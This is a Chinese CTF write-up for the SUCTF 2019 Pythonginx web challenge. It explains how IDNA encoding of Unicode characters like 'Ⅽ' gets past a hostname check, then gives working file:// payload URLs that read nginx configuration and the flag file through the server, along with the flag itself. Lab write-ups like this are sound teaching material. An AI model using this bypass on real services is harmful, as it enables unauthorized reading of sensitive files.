WEB|[SUCTF 2019]Pythonginx
源码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc': # 解析主机名,不能是suctf.cc
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc': # 分割url不能,第二部份也就是域名不能是suctf.cc
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'): # 点分host
newhost.append(h.encode('idna').decode('utf-8')) # 分割后的部份进行idna编码
parts[1] = '.'.join(newhost) # 去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0] # 将主机名再次组合成 url
host = parse.urlparse(finalUrl).hostname # 再解析主机名
if host == 'suctf.cc': # 主机名为suctf.cc
return urllib.request.urlopen(finalUrl).read() # 可读取文件
else:
return "我扌 your problem? 333"
大概意思是,获取ur主机地址不能是suctf.cc,但是分割idna重新编码后主机地址需要又是suctf.cc
urlsplit, urlparse简单区别
urlsplit是拆分,而urlparse是解析,urlparse粒度更为细致
url = "https://username:password@www.baidu.com:80/index.html;parameters?name=tom#example"
urlsplit(url)
scheme='https',
netloc='username:password@www.baidu.com:80',
path='/index.html;parameters',
query='name=tom',
fragment='example')
urlparse(url)
scheme='https',
netloc='username:password@www.baidu.com:80',
path='/index.html',
params='parameters',
query='name=tom',
fragment='example'
idna与utf-8编码漏洞
国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名:指部分或完全使用特殊文字> 或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经> 过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。
idna:支持 RFC 5891 中指定的应用程序中的国际化域名 (IDNA) 协议的库。该版本的协议通常被称为> “IDNA2008”,并且可以产生与 2003 年早期标准不同的结果。
简单来说就是利用编码漏洞绕过对suctf.cc检测,某个字符串utf-8编码下不为suctf.cc,但是inda编码下为suctf.cc
# ℆字符,python3进行idna编码
print('℆'.encode('idna'))
b’c/u’
# 再使用utf-8进行解码
print(b'c/u'.decode('utf-8'))
c/u
可使用字符
ℂ unicode: \u2102
ℭ unicode: \u212d
Ⅽ unicode: \u216d
ⅽ unicode: \u217d
Ⓒ unicode: \u24b8
ⓒ unicode: \u24d2
C unicode: \uff23
c unicode: \uff43
nginx敏感文件
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
payload
读取敏感文件,获得flag位置
getUrl?url=file://suctf.cⅭ/usr/local/nginx/conf/nginx.conf
/usr/fffffflag
读取flag
getUrl?url=file://suctf.cⅭ/usr/fffffflag
flag{fbb5e4cb-b83e-4bec-b0d9-028de780e85b}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步